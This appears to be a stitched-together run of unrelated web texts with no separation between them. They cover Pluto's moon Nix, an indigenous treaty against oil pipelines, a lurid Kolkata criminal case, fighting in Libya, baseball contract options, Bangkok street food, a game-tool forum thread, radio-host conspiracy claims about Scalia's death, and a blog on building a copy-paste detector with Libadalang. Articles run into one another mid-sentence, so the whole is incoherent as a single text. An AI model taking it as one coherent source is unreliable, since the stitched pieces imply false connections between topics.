The picture of a half-lit Nix, taken from a range of about 14,000 miles, shows more detail than you’d be able to see from the surface of Pluto. The surface is pockmarked with impact craters — making it look like the Martian moon Deimos, or maybe a potato.
What new shapes are seen now with the latest image of #Pluto's moon Nix? See at https://t.co/Vj38RCYbvt #spacerocks pic.twitter.com/901Jam8YMF — Kimberly EnnicoSmith (@kennicosmith) December 17, 2015
New Horizons is due to beam back still more pictures from its July 14 encounter over the course of the next year. The mission’s principal investigator, Alan Stern of the Southwest Research Institute, points out that “we’re much less than halfway through transmitting data about the Pluto system to Earth.” Bottom line? Stay tuned for the next episode of Pluto’s travelogue.life on the pipeline
North American tribes forge an alliance to fight oil projects.
Over 50 U.S. and Canadian indigenous communities signed a pan-continental treaty Thursday pledging to band together to fight threats to their territories, water, and the climate. Their targets? Every pipeline, tanker, and rail project meant to develop the Alberta tar sands.
Several signatories, including the Standing Rock Sioux, are currently fighting the Dakota Access pipeline, which would transport Bakken crude oil across 1,172 miles of land in the Midwest. The United Nations just stepped into the fray and called for the U.S. to halt construction on the pipeline.
The newly unified front has its work cut out: Just this year, Canada’s indigenous peoples struggled to save their land from several pipelines. The treaty extends these fights, focusing on projects proposed by Kinder Morgan Inc., Enbridge Inc., and TransCanada Corp.
Only time will tell if this groundbreaking alliance will stop oil companies from breaking new ground.— ‘My sister was growing old, and she was asserting her independence. My mother was jealous of her. We went to Digha (on vacation). My mother made her strip in the bathroom…— ‘My mother thinks I am impotent. She wanted to see me develop a relationship. This is why she used to send a maid servant to my room…’These lines were scribbled by Partha De in about 10 exercise books that he called his “autobiography”. Partha’s father, 77-year-old Arabindo De, burnt himself to death at his house in Kolkata’s Robinson Street, leading the police to the gory discovery on Thursday morning that Partha had been living with the skeleton of his sister and carcasses of his two pet dogs.The sexual overtone in several notes that the police found scattered all over the bungalow on Friday and the lurid description of bizarre sexual acts in Partha’s writings have led the cops to suspect a complex relationship among family members. Psychiatrists, however, advise caution and say that Partha may have written the notes in a state of delusion. They don’t rule out the possibility of incest or that Partha may have somehow been responsible for the death of his sister, but they’d rather wait a few weeks to assess his mental state to sift truth from hallucination.In some of the jottings, it is clear that Partha had sensed his mother’s growing concern over his physical closeness with his elder sister and expressed his dislike for his mother, the police said.Psychiatrist Sabyasachi Mitra who examined Partha at Pavlov Mental Hospital on Friday said the 44-year-old engineer may have necrophilia — a condition that triggers sexual attraction towards corpses. “Rather than what he has mentioned in his diaries, Partha De might have been in a physical relationship with the dead bodies he has been living with. It is not yet established, but such behavior is not unusual on the part of psychosis patients,” he told TOI. Investigators have decided to take the help of a psychiatrist when they question Partha in hospital on Saturday.Among the bizarre things police have noticed is that Partha, his father Arabindo De and sister Debjani conversed with each other through handwritten notes. There are just so many of them that the police are confused who wrote what to whom. Experts are being roped in to sort the writings and establish lines of ‘conversation’.In one set of writings, someone wonders: “Ei pothei ki jibon cholar chilo? (Was this the way my life was to shape up?).” Another person replies that “God would save him”. A third person writes that the one who asked the question is “heading in the right direction”. Said an investigator: “We are yet to ascertain which family member fitted into which character. But it is certain that they spoke less and wrote to each other more.”The ones accepted as Partha’s writings are a mixed pack of conflicting comments about his mother, graphic descriptions of sex and mysterious references to a maid.In one, he writes “All men and women are dancing. Either to (the) tune or out of tune…” before going on to describe a physically explicit scene. Sometimes he eulogizes his mother and then speaks of how “jealous” she was of Debjani, who was three years older to him.Sometimes Partha mixes up his mother with his grandmother and he talks endearingly of both on these occasions. He narrates how his mother fought against breast cancer till her death in 2007 and claims he could not attend his mother’s last rites. “The enemy tried to take my mother but failed. It lost — the biggest loser. The devil got (f*****) royally. My mother had a very powerful will. She fought with all her weight.”Partha didn’t always finish one exercise book before picking up another. “Some had 20 pages filled, some 10 and some even five. While some described sexual acts in uncomfortable detail, others dwell on the state of the family,” said a source. Partha talks of unity in the family. “The best part of our family is that, in spirit, we are all 100 per cent, whatever we do is 100 percent. Trying to do what we know is right according to our conscience,” he writes.Investigators have found several drawing books with “Partha De” inscribed on the cover. “Most of these drawings are of monkeys and dogs in different postures. It’s as if a Class 1 kid has drawn them. We have found hundreds of CDs relating to spiritual gurus from Bengal, Europe and US. We also found several comics — from Archies to Amar Chitra Katha and Mahabharat. Many of them had fresh labels of a bookstore on Lord Sinha Road,” said an officer.Image copyright Reuters Image caption The Libyan militias are believed to be paid by the government in a country with no national army
At least 38 people have been killed in clashes between troops loyal to the Libyan government and Islamist fighters in the city of Benghazi, officials say.
The militants attacked troops in the centre of the city, in eastern Libya.
A week of fighting in the capital Tripoli, near the airport, has left 97 people dead and 404 injured.
Later it was reported that a fuel storage site in the area had been hit by a rocket and fires there could cause a disaster if not kept under control.
Officials say the site, which is the city's largest storage facility and a major hub for distribution of petrol, contains some 6.6 million litres of fuel
A statement by the prime minister's office said the government was asking for international assistance in putting out the flames.
Officials said an area within a radius of 3-5km, containing many residential homes, could be affected.
'Real risk'
Militias controlling large parts of the country are behind Libya's worst violence since the 2011 uprising that toppled Col Muammar Gaddafi.
On Sunday, France and Germany joined the US and UK in advising their nationals in Libya to leave immediately.
On Saturday, the US evacuated its embassy in Tripoli, citing a "real risk" because of the fighting.
Media playback is unsupported on your device Media caption Secretary of State John Kerry says violence in Libya presents a "very real risk" to US embassy staff
Turkey has also withdrawn some 700 members of staff from Libya.
Earlier this week, the UN also announced it was withdrawing all its staff from Libya.
Analysis: Rana Jawad, BBC News, Tripoli
The distribution of armed groups across the country means the weapons are evenly spread out - and most battles achieve little beyond a trail of destruction.
It is tricky territory for Western players, and recent efforts by the UN mission in Libya to bring political and militarised sides to a negotiating table failed.
It is common for rival groups to accuse each other of being tied to Col Gaddafi's regime.
Will Libya's militias defeat democracy?
Stark warning
In the past two weeks, fighting in Libya's two largest cities Tripoli and Benghazi has been intense, deadly and show few signs of abating, says the BBC's Rana Jawad in Tripoli.
Libyan government officials warned of the possibility of a break-up of the country if clashes over Tripoli airport continue.
Image copyright Reuters Image caption Amid ongoing clashes to control Tripoli's international airport, Libya's central government has warned the country risks splitting apart
Image copyright Reuters Image caption Several people have been injured in the shelling near Tripoli airport
Rival Libyan militias have been locked in battle at Libya's main airport in the south of Tripoli since last week, forcing the airport to shut.
Members of the Islamist Libya Revolutionaries Operations Room (LROR) are trying to seize control of the airport, which has been in the hands of the Zintan militia since the overthrow of Col Gaddafi.
Egyptian news agency Mena said 23 Egyptian workers were killed Saturday when a rocket hit their residence in Tripoli.
Our correspondent in the capital says both militia groups are believed to be on the official payroll.
The government has been unable to disarm the numerous armed groups that took part in the 2011 uprising and which have divided the country.
In Benghazi, a coalition of forces including the army have been led by a rogue former general Khalifa Haftar for months.
They say they aim to dislodge Islamist militants from the city.
Residents in Benghazi have told the BBC these are the fiercest clashes they have seen since the launch of this operation.
US ambassador Christopher Stevens and three other Americans were killed in an attack on the US consulate in Benghazi in September 2012.NOVEMBER 3: Toronto has exercised its options over Dickey, Bautista, and Encarnacion, as expected, per a club announcement. The team has declined its option on infielder Maicer Izturis, paying him a $1MM buyout rather than a $3MM salary. Izturis, 35, missed the entire season due to injury.
OCTOBER 28: The Blue Jays will exercise their $12MM club option on right-hander R.A. Dickey for the 2016 season, sources tell Jon Heyman of CBS Sports. Heyman also adds that Jose Bautista and Edwin Encarnacion will have their respective $14MM and $10MM club options exercised, though those two options were foregone conclusions. Dickey’s situation was a bit less certain, though still more or less expected, especially in light of Alex Anthopoulos’ comment that Dickey had put himself in a good position for the option to be picked up (via Sportsnet’s Shi Davidi, on Twitter).
Dickey, who turns 41 years old tomorrow, logged more than 200 innings for the fifth consecutive season and posted a 3.91 ERA with 5.3 K/9, 2.6 BB/9 and a 41.9 percent ground-ball rate in his 214 1/3 frames this year. He came under criticism from some Jays fans after an ugly final start in the postseason — five runs (four earned) in just 1 2/3 innings — but Dickey was outstanding over the final four months of the regular season.
After limping out of the gates and posting a 5.77 ERA through the end of May, Dickey righted the ship and worked to a 3.11 ERA over his final 23 starts/150 innings. He had what appears on the surface to be some BABIP help over that stretch (.261), but Dickey has maintained a well-below-average BABIP mark over the past few seasons and routinely been able to outperform metrics such as FIP, xFIP and SIERA as a result.
Dickey’s option came with a $1MM buyout, meaning that this essentially boiled down to an $11MM decision on the knuckleballer. While he’s yet to replicate the production he delivered in his outstanding National League Cy Young Award season, steady innings have value. Dickey has averaged 218 innings per season in Toronto and totaled a park-adjusted ERA of 100 — exactly the league average — since coming to Toronto, which is worth $11MM in today’s market.
Given the uncertainty in the Blue Jays’ rotation picture — David Price, Marco Estrada and Mark Buehrle could all be lost to free agency (or, in Buehrle’s case, retirement) — retaining Dickey for a net total of $11MM gives Toronto some much needed stability. He’ll be joined in the rotation by rising star Marcus Stroman and could also see 2015 relievers Aaron Sanchez and Roberto Osuna by his side, depending on the team’s offseason pitching acquisitions. Recently, the Toronto Star’s Richard Griffin wrote about Dickey’s importance to the 2016 rotation.
As for Bautista and Encarnacion, though each is into his mid-30s (Bautista is 35, and Encarnacion will be 33 in January), each is still among the game’s premier sluggers. Bautista reached the 40-homer plateau for the third time in 2015 and led the American League with 110 walks, whereas Encarnacion’s 39 homers gave him a fourth straight season with 34 or more long balls. Since his 2012 breakout, Encarnacion has a collective OPS+ of 150. Each right-handed slugger will pair with the likes of Josh Donaldson and Troy Tulowitzki to hit in the heart of what will again be an incredibly formidable Toronto lineup in 2016.MEXICO CITY (Reuters) - The number of homicides in El Salvador slumped by 52.5 percent in the first four months of 2017 compared to the same period last year, officials said on Thursday, crediting new security measures in the violent Central American nation.
In the January-April period, 1,133 homicides were reported, compared to 2,387 in the same period in 2016, Security Minister Mauricio Ramírez said.
El Salvador, which saw a record number of homicides in 2015, put in place a raft of special measures in April, 2016 to combat gangs, called “maras”.
Speaking at a separate event, Attorney General Douglas Melendez said that gang members who have recently been deported from the United States have created new “cliques” named after U.S. cities and are sharing information with counterparts still in the United States.
The Salvadoran government on Wednesday proposed creating a registry of deportees from the United States who have a criminal record to prevent them from entering the maras.
Authorities also said that some Mara Salvatrucha (MS-13) members, who spilt from the gang due to a conflict over money management, created a new group called Mara Salvatrucha 503.
The Mara Salvatrucha, or MS-13 was formed in Los Angeles in the 1980s to protect early immigrants escaping civil war in El Salvador.
The gang, and its rival Barrio 18, have about 60,000 members together and are fighting each other for control of extortion, drug-trafficking and robbery in El Salvador.Prayuth Chan-ocha is reportedly delighted by Thai street-food culture. But all stalls still have to clear out of Thonglor Road and other key areas by April.
Following the news that Bangkok was named one of CNN’s street-food capitals of the world, the BMA has dealt another big blow to our street-side food culture. As of Apr 17, 2017, all stalls have been ordered to cease working on Thonglor, Ekkamai and Pridi Banomyong (Phrakanong) Roads.
"Around the beginning of Feb, over 10 tessakit officers [city hall’s official sidewalk police] came to visit us with an announcement paper,” one street-food vendor* outside a pharmacy near the BTS end of Thonglor told us. “Without even giving me any chance to read, they made me hold it and snapped a photo. A week after that I received that announcement paper stuck on my cart."
A couple of shop-houses up from her, the loog chin ping (grilled pork balls and hot dogs) vendor* told us he was forced to move from under the BTS station around Jan. “The city hall officials came around two weeks after New Year and told me that I can't sell under the BTS station anymore," he said. "I don't know what I am going to do when Apr 17 comes. I will have nowhere to go,"
He also told us that food stalls on Ekkamai have been given the same notice.
At an a-la-carte stir-fry stand in front of the skin clinic just before 7-Eleven, one of the regular customers, a worker from Myanmar*, told us the removal of street-food from the area will have a big impact on him.
“There is not much cheap food around Thonglor," he said. "I won't know where to eat if this food stall really has to go next month.”
The cook at the stall* continued: “There is a large number of lower-class people around here. They cannot just try to turn Bangkok into a glamorous city like Paris or something. And it's not just Thonglor Road, it's everywhere including Ekkamai, Phrakanong and other areas around Sukhumvit.
Exactly where Thonglor and its surrounding street-food vendors will go after Apr 17 remains uncertain. "I honestly have no idea what I'll do," said the owner of a somtam stall opposite SCB Bank. "I won’t have the money to rent a shop-house, which will cost over 10,000/month, on top of the cost of staff and other bills."
City official arranged a meeting with vendors recently, but no solutions were offered. “They said they won't allow any stalls on the footpath both during the day and night times,” said the owner of the somtam stall. They said people have filed complaints about street-food stalls blocking the walkways.”
The only stalls which will be allowed to remain are those which do not take up sidewalk space. Another somtam vendor who operated from the front of the old-school pharmacy near the BTS was also at the meeting, and has been granted permission to stay. "They said as long as I can keep my stall under the shade of the shop-house and off the footpath I can continue to be here," he said.
He also mentioned that city hall officials had just been around the area before we came, checking up to ensure stalls were under the shade and not on the footpath.
Earlier this month, Ari food stalls were granted a permission to stay "until further notice" following news that they also had to clear off the street. So exactly what happens after Apr 17 remains uncertain.
*All sources in this story would like to remain anonymous.Me: “Hi, how can help you today?”
Customer: “Are you a lesbian!?”
Me: “Excuse me?”
Customer: “You’ve got real short hair. I heard that women with short hair are lesbians.”
Me: “So, was there anything I could help you with?”
Customer: “You can answer my question! Are you a lesbian or not?!”
Me: “Sir, I don’t feel it’s appropriate for me to answer that.”
Customer: “I don’t want some hell-bound homosexual near me! God will strike you down for disobeying his word!”
Me: “Okay, okay. If you really must know, no I am not a lesbian.”
Customer: “Then why do you have short hair??”
(By this time, my manager, who is male-to-female transgender, walks over.)
Manager: *in their manly voice* “Is there a problem here, sir?”
Customer: “Oh dear lord! You’re not a woman!”
Manager: “Only on paper, sir.
Customer: *runs out screaming* “This place is d***ed! D***ed I tell you!”TRAD |
say... "force it to keep it's previous value until it gets a new one" is exactly what it's doing.
When you say "99% of the time it's not even showing", which table isn't showing exactly - left (prices) or the right one (items).
And of course, I have to ask - did you make sure you have entered and saved username and POESESSID?
Btw, we can take this discussion to github, i have finally set it up: This is very odd, i must say... "force it to keep it's previous value until it gets a new one" is exactly what it's doing.When you say "99% of the time it's not even showing", which table isn't showing exactly - left (prices) or the right one (items).And of course, I have to ask - did you make sure you have entered and saved username and POESESSID?Btw, we can take this discussion to github, i have finally set it up: https://github.com/gucunja/PathOfExileNetWorth
I'm not used to github personally so I'll stick to forums. But it was a good step to put it on github for others.
As for my problem it's exactly the same as the person below me had. But I didn't have the common sense to screenshot it. The right table is not there and the tooltip almost always shows "0 chaos".
Every now and then for some reason after a refresh it shows my actual net worth and the right table appears but the next time it tries to refresh (don't know if it's the tabs or the prices since I have them on the same timer), it's gone again.
Yes I entered username and POESESSID and I know it's not a firewall or an antivirus messing it up because I don't have any of those running on my system.
I'll try to put the tabs scanner and the prices scanner on different timers to say which one messes it up and I'll update my post.
Also,is it normal that the only times it worked for a few seconds I was ingame playing? From my understanding it should even work when I'm not playing the game since it grabs the info from the api and not from my client... I'm not used to github personally so I'll stick to forums. But it was a good step to put it on github for others.As for my problem it's exactly the same as the person below me had. But I didn't have the common sense to screenshot it. The right table is not there and the tooltip almost always shows "0 chaos".Every now and then for some reason after a refresh it shows my actual net worth and the right table appears but the next time it tries to refresh (don't know if it's the tabs or the prices since I have them on the same timer), it's gone again.Yes I entered username and POESESSID and I know it's not a firewall or an antivirus messing it up because I don't have any of those running on my system.I'll try to put the tabs scanner and the prices scanner on different timers to say which one messes it up and I'll update my post.Also,is it normal that the only times it worked for a few seconds I was ingame playing? From my understanding it should even work when I'm not playing the game since it grabs the info from the api and not from my client... Posted by Aloyce
on on Quote this Post
Same problem, shows 0c, rightmost table is empty. Like the idea though, will use when it gets fixed. Posted by FrozenFry
on on Quote this PostBefore his interview with Donald Trump yesterday, conservative radio host Michael Savage shared a story from the National Enquirer alleging that Justice Antonin Scalia was murdered by a prostitute working for the government, pointing to the story as confirmation of his conspiracy theory that President Obama assassinated Scalia.
Indeed, Trump shared his own suspicions about Scalia’s death on Savage’s show, “The Savage Nation,” several weeks ago.
The National Enquirer’s report, Savage said, must be true since they haven’t been sued for libel. He said that other media outlets haven’t run with the tabloid’s article because the media is working for Obama, and instead newspapers like the New York Daily News are aiming their “hatred and bigotry” at Trump.
Savage also recounted conversations he had with people in the U.S. Virgin Islands about Trump and “the Muslims in the taxi business.”
Savage said that Muslims are “suddenly all over the U.S. Virgin Islands and almost nowhere to be seen in the British Virgin Islands. Well, you look at the White House and you see a guy who is named Barack Hussein Obama who many think is sympathetic if not outright practicing Islam; we hear the directors of various big agencies have converted to Islam secretly, that they’re hiding it, and you look around the country and you don’t know what nation you’re living in anymore.”
“Where did America go in eight years under this deceiver, this anti-American deceiver in the White House?” Savage continued. “How come you haven’t seen any exposés in the Daily News about Obama’s crimes and misdemeanors? How come you haven’t seen anything about Hillary Clinton and her crimes and misdemeanors in the Daily News?” The boy has not been named (Picture: Getty Images)
Surgeons severed the tip of a 10-year-old boy’s penis when a circumcision operation went wrong.
The boy, who has not been named, was rushed to a hospital in Kuala Lumpur after doctors at a suburban clinic in Taman Cheras Utama botched the procedure.
Loyal dog spends two days on snow-covered train track to protect friend »
It’s not entirely clear how the mistake was made, but it seems as though the surgeon’s laser scalpel may have slipped during the procedure on December 20.
According to Malaysia’s Star newspaper, the boy’s father was waiting patiently outside when he was told that part of his son’s penis had been accidentally severed.
After being rushed to the Universiti Kebangsaan Malaysia Hospital, and then to another specialist hospital in the city, doctors managed to successfully reattach the two parts of the boy’s penis.
Turkish president claims he has 'evidence' the US is supporting Isis »
The dad has since filed a complaint with the police.
The Star did not name the surgeon responsible, but said he had a medical degree from Pakistan as well as 21 years of experience.
However the clinic, which had been operating for 15 years, was found to have not been registered with Malaysia’s Health Ministry.ROUGH CUT (NO REPORTER NARRATION) A gunman killed two people and wounded at least three others in central Tel Aviv on Friday (January 1) before fleeing, Israeli police said, adding that the motive for the attack was unclear. Nati Shakked, owner of the Simta bar on Dizengoff Street, which was hit by gunfire, said the assailant had waited on a bench outside before taking a machine-gun out of a bag and "shooting in every direction". Israel has seen a wave of Palestinian street attacks since October, fuelled in part by Muslim anger over stepped-up Jewish visits to Jerusalem's al-Aqsa mosque complex, also sacred to Jews, as well as long-stalled peace talks. "It was a terrorist attack, without a doubt," Shakked told Israel's Channel Two television. Police said a manhunt was under way in Tel Aviv, Israel's commercial capital.Increasingly popular techniques that infer species boundaries in animals and plants solely by analyzing genetic differences are flawed and can lead to inflated diversity estimates, according to a new study from two University of Michigan evolutionary biologists.
Lacey Knowles and Jeet Sukumaran investigated the accuracy of inferences made by a mathematical model widely used to quickly determine the boundaries between species without the time-consuming, painstaking process of comparing specimens in museum collections.
They found that the genetic approach, formally known as the multispecies coalescent model, can lead to species estimates that are five to 13 times higher than the true numbers.
Because the species is the fundamental unit for all evolutionary and ecological studies, their findings are expected to have wide-ranging implications, from biodiversity studies to conservation planning. Their results are scheduled for online publication Jan. 30 in Proceedings of the National Academy of Sciences.
"This is an area that has really taken off over the last decade. On its surface, the genomic approach looks like a panacea because it's very fast and doesn't require any kind of taxonomic expertise," said Knowles, a professor in the U-M Department of Ecology and Evolutionary Biology and curator of insects at the university's Museum of Zoology.
"So it's been promoted as a way to speed up inventories of biodiversity by combining the automation of genomics with the statistical power of these models. The only problem is, this method is not doing what we think it is doing, resulting in an overestimate of species numbers."
The U-M researchers say their paper serves as both a warning and a call to action -- a warning against reliance on genomic data alone and a call for new methods to improve genomic-based species delimitation approaches.
For now, results from such studies should be considered "at best as tentative hypotheses of species" to be confirmed or rejected through additional analysis using traditional taxonomic methods, such as the physical comparison of museum specimens, according to the authors.
The multispecies coalescent model is widely used to assess understudied populations in known biological hotspots. For example, the approach has been applied to studies of lizards and snakes in southwestern Australian deserts, Amazonian frogs, savanna plants in Brazil and beetles from the Andes.
Tissue samples from target organisms are collected in the field -- toe pads from desert lizards in various locations, for example -- and DNA from the samples is later sequenced in the lab, revealing genetic differences among individuals. The multispecies coalescent model then looks at the genetic differences and attempts to draw boundaries between species.
"Suddenly it seemed like there was a magic bullet. You just have to push a button and you get your species," said Sukumaran, an assistant research scientist in the U-M Department of Ecology and Evolutionary Biology. "But a lot of people got carried away."
Mathematical models are simplified representations of reality and always include assumptions about how the world works. One of the assumptions used to simplify the multispecies coalescent model is that new species form instantaneously after a population of plants or animals becomes geographically isolated.
In reality, not all isolated populations become new species, and the speciation process involves a gradual accumulation of genetic differences over decades, millennia or even millions of years.
"Everyone knows that speciation is not an instantaneous process. But what no one has questioned, until now, is how ignoring that fact changes the story this model is telling us," Sukumaran said. "This paper places that issue front and center."
Sukumaran and Knowles wanted to know what would happen if the multispecies coalescent model was applied to situations in which speciation is a protracted process rather than an instantaneous event.
They used simulated genetic data to compare how the model handled those two scenarios and found that the model overestimates species numbers when it fails to account for the protracted nature of speciation, averaging five to 13 times more estimated species than were actually present in the data.
The inflated species estimates happen because the model misidentifies normal within-species patterns of genetic variation, which biologists call genetic structure, as species boundaries, according to Sukumaran and Knowles. In recent decades, a flood of genomic data collected around the globe from all types of organisms has revealed increasingly finer details in genetic structure, as though biologists had suddenly gained access to a new, more powerful type of microscope.
Paradoxically, this more detailed, higher-resolution view of genomes has made it harder, rather than easier, to distinguish the boundaries between species, according to Knowles and Sukumaran. That's largely because the multispecies coalescent model cannot distinguish the genetic differences found among isolated populations of animals and plants from the true species boundaries, they conclude.
"The irony is that the more genomic data we collect, the less certain we are as to where the species boundaries lie," Knowles said. "Going forward, we are going to need to both improve our models and fall back on alternate -- and maybe even more traditional -- forms of data to be able to identify species in the age of big data."
The work was funded by a grant from the National Science Foundation. Knowles and Sukumaran have applied for a follow-up grant from NSF to find ways to overcome the problems highlighted in their PNAS paper.
"This is not an intractable problem," Knowles said. "The methods are theoretically sound but are not accurate in practice because they don't reflect the biological reality of how new species form. Once we correct that, we will have a very powerful tool."After we created lightweight checkers based on the recent Libadalang technology developed at AdaCore, a colleague gave us the challenge of creating a copy-paste detector based on Libadalang. It turned out to be both easier than anticipated, and much more efficient and effective than we could have hoped for. In the near future, we plan to use this new detector to refactor the codebase of some of our tools.
First Attempt: Hashes and Repeated Suffix Trees Our naive strategy for detecting copy-paste was to reduce it to a string problem, in order to benefit from the existing efficient algorithms on string problems. Our reasoning was that each line of code could be represented by a hash code, so that a file could be represented by a string of hash codes. After a few Web searches, we found the perfect match for this translated problem, on the WikiPedia page for the longest repeated substring problem, which is helpfully pointing to a C implementation used to solve this problem efficiently based on Suffix Trees, a data structure to represent efficiently all suffixes of a string (say, "adacore", "dacore", "acore", "core", "ore", "re" and "e" if your string is "adacore"). So we came up with an implementation in Python of the copy-paste detector, made up of 3 steps: Step 1: Transform the source code into a string of hash codes This a simple traversal of the AST produced by Libadalang, producing roughly a hash for each logical line of code. Traversal is made very easy with the API offered by Libadalang, as each node of the AST is iterable in Python to get its children. For example, here is the default case of the encoding function producing the hash codes:
# Default case, where we hash the kind of the first token for the node, # followed by encodings for its subnodes. else: return ([Code(hash(node.token_start.kind), node, f)] + list(itertools.chain.from_iterable( [enc(sub) for sub in node])))
We recurse here on the AST to concatenate the substrings of hash codes computed for subnodes. The leaf case is obtained for expressions and simple statements, for which we compute a hash of a string obtained from the list of tokens for the node. The API of Libadalang makes it very easy, using again the ability to iterate over a node to get its children. For example, here is the default case of the function computing the string from a node:
return''.join([node.token_start.kind] + [strcode(sub) for sub in node])
We recurse here on the AST to concatenate the kind of the first token for the node with the substrings computed for subnodes. Of course, we are not interested in exactly representing each line of code in this representation. For example, we represent all identifiers by a special wildcard character $, in order to detect copy-pastes even when identifiers are not the same. Step 2: Construct the Suffix Tree for the string of hash codes The algorithm by Ukkonen is quite subtle, but it was easy to translate an existing C implementation into Python. For those curious enough, a very instructive series of 6 blog posts leading to this implementation describes Ukkonen's algorithm in details. Step 3: Compute the longest repeated substring in the string of hash codes For that, we look at the internal node of the Suffix Tree constructed above with the greatest height (computed in number of hashes). Indeed, this internal node corresponds to two or more suffixes that share a common prefix. For example, with string "adacore", there is a single internal node, which corresponds to the common prefix "a" for suffixes "adacore" and "acore", after which the suffixes are different. The children of this internal node in the Suffix Tree contain the information of where the suffixes start in the string (position 0 for "adacore" and 2 for "acore"), so we can compute positions in the string of hash codes where hashes are identical and for how many hash codes. Then, we can translate this information into files, lines of code and number of lines. The steps above allow to detect only the longest copy-paste across a codebase (in terms of number of hash codes, which may be different from number of lines of code). Initially, we did not find a better way to detect all copy-pastes longer than a certain limit than to repeat steps 2 and 3 after we remove from the string of hash codes those that correspond to the copy-paste previously detected. This algorithm ran in about one hour on the full codebase of GPS, consisting in 350 ksloc (as counted by sloccount), and it reported both very valuable copy-pastes of more than 100 lines of code, as well as spurious ones. To be clear, the spurious ones were not bugs in the implementation, but limitations of the algorithm that captured "copy-pastes" that were valid duplications of similar lines of code. Then we improved it. Improvements: Finer-Grain Encoding and Collapsing The imprecisions of our initial algorithm came mostly from two sources: it was sometimes ignoring too much of the source code, and sometimes too little. That was the case in particular for the abstraction of all identifiers as the wildcard character $, which led to spurious copy-pastes where the identifiers were semantically meaningful and could not be replaced by any other identifier. We fixed that by distinguishing local identifiers that are abstracted away from global identifiers (from other units) that are preserved, and by preserving all identifiers that could be the names of record components (that is, used in a dot notation like Obj.Component). Another example of too much abstraction was that we abstracted all literals by their kind, which again lead to spurious copy-pastes (think of large aggregates defining the value of constants). We fixed that by preserving the value of literals. As an example of too little abstraction, we got copy-pastes that consisted mostly of sequences of small 5-to-10 lines subprograms, which could not be refactored usefully to share common code. We fixed that by collapsing sequences of such subprograms into a single hash code, so that their relative importance towards finding large copy-pastes was reduced. We made various other adjustments to the encoding function to modulate the importance of various syntactic constructs, simply by producing more or less hash codes for a given construct. An interesting adjustment consisted in ignoring the closing tokens in a construct (like the "end Proc;" at the end of a procedure) to avoid having copy-pastes that start on such meaningless starting points. It seems to be a typical default of token-based approaches, that our hash-based approach allows to solve easily, by simply not producing a hash for such tokens. After these various improvements, the analysis of GPS codebase came down to 2 minutes, an impressive improvement from the initial one hour! The code for this version of the copy-paste detector can be found in the GitHub repository of Libadalang.
Optimizations: Suffix Arrays, Single Pass To improve on the above running time, we looked for alternative algorithms for performing the same task. And we found one! Suffix Arrays are an alternative to Suffix Trees, which is simpler to implement and from which we saw that we could generate all copy-pastes without regenerating the underlying data structure after finding a given copy-paste. We implemented in Python the algorithm in C++ found in this paper, and the code for this alternative implementation can be found in the GitHub repository of Libadalang. This version found the same copy-pastes as the previous one, as expected, with a running time of 1 minute for the analysis of GPS codebase, a 50% improvement! Looking more closely at the bridges between Suffix Trees and Suffix Arrays (essentially you can reconstruct one from the other), we also realized that we could use the same one-pass algorithm to detect copy-pastes with Suffix Trees, instead of recreating each time the Suffix Tree for the text where the copy-paste just detected had been removed. The idea is that, instead of repeatedly detecting the longest copy-paste on a newly created Suffix Tree, we traverse the initial Suffix Tree and issue all copy-pastes with a maximal length, where copy-pastes that are not maximal can be easily recognized by checking the previous hash in the candidate suffixes. For example, if two suffixes for this copy-paste start at indexes 5 and 10 in the string of hashes, we check the hashes at indexes 4 and 9: if they are the same, then the copy-paste is not maximal and we do not report it. With this change, the running time for our original algorithm is just above 1 minute for the analysis of GPS codebase, i.e. close to the alternative implementation based on Suffix Arrays.
So we ended up with two implementations for our copy-paste detector, one based on Suffix Trees and one based on Suffix Arrays. We'll need to experiment further to decide which one to keep in a future plug-in for our GPS and GNATbench IDEs.
Results on GPS The largest source base on which we tried this tool is our IDE GNAT Programming Studio (GPS). This is about 350'000 lines of source code. It uses object orientation, tends to have medium-sized subprograms (20 to 30 lines), although there are some much longer ones. In fact, we aim at reducing the size of the longest subprograms, and a tool like gnatmetric will help find them. We are happy to report that most of the code duplication occurred in recent code, as we are transitioning and rewriting some of the old modules. Nonetheless, the tool helped detect a number of duplicate chunks, with very few spurious detections (corresponding to cases where the tool reports a copy-paste that turns out to be only similar code). Let's take a look at three copy-pastes that were detected. Example 1: Intended temporary duplication of code gps/gvd/src/debugger-base_gdb-gdb_cli.adb:3267:1: copy-paste of 166 lines detected with code from line 3357 to line 3522 in file gps/gvd/src/debugger-base_gdb-gdb_mi.adb This is a large subprogram used to handle the Memory view in GPS. We have recently started changing the code to use the gdb MI protocol to communicate with gdb, rather than simulate an interactive session. Since the intent is to remove the old code, the duplication is not so bad, but is useful in reminding us we need to clean things up here, preferably soon before the code diverges too much. Example 2: Unintended almost duplication of code gps/builder/core/src/commands-builder-scripts.adb:266:1: copy-paste of 21 lines detected with code from line 289 to line 309 This code is in the handling of the python functions GPS.File.compile() and GPS.File.make(). Interestingly enough, these two functions were not doing the same thing initially, and are also documented differently (make attempts to link the file after compiling it). Yet the code is almost exactly the same, except that GPS does not spawn the same build target (see comment in the code below). So we could definitely use an if-expression here to avoid the duplication of the code.
elsif Command = "compile" then Info := Get_Data (Nth_Arg (Data, 1, Get_File_Class (Kernel))); Extra_Args := GNAT.OS_Lib.Argument_String_To_List (Nth_Arg (Data, 2, "")); Builder := Builder_Context (Kernel.Module (Builder_Context_Record'Tag)); Launch_Target (Builder => Builder, Target_Name => Compile_File_Target, -- <<< use Build_File_Target here for "make" Mode_Name => "", Force_File => Info, Extra_Args => Extra_Args, Quiet => False, Synchronous => True, Dialog => Default, Via_Menu => False, Background => False, Main_Project => No_Project, Main => No_File); Free (Extra_Args);
The tool could be slightly more helpful here by highlighting the exact differences between the two blocks. As the blocks get longer, it is harder to spot a change in one identifier (as is the case here). This is where an integration in our IDEs like GPS and GNATbench would be useful, and of course possibly with some support for automatic refactoring of the code, also based on Libadalang. Example 3: Unintended exact duplication of code gps/code_analysis/src/codepeer-race_details_models.adb:39:1: copy-paste of 20 lines detected with code from line 41 to line 60 in file gps/code_analysis/src/codepeer-race_summary_models.adb This one is an exact duplication of a function. The tool could perhaps be slightly more helpful by showing those exact duplicates first, since they will often be the easiest ones to remove, simply by moving the function to the spec.
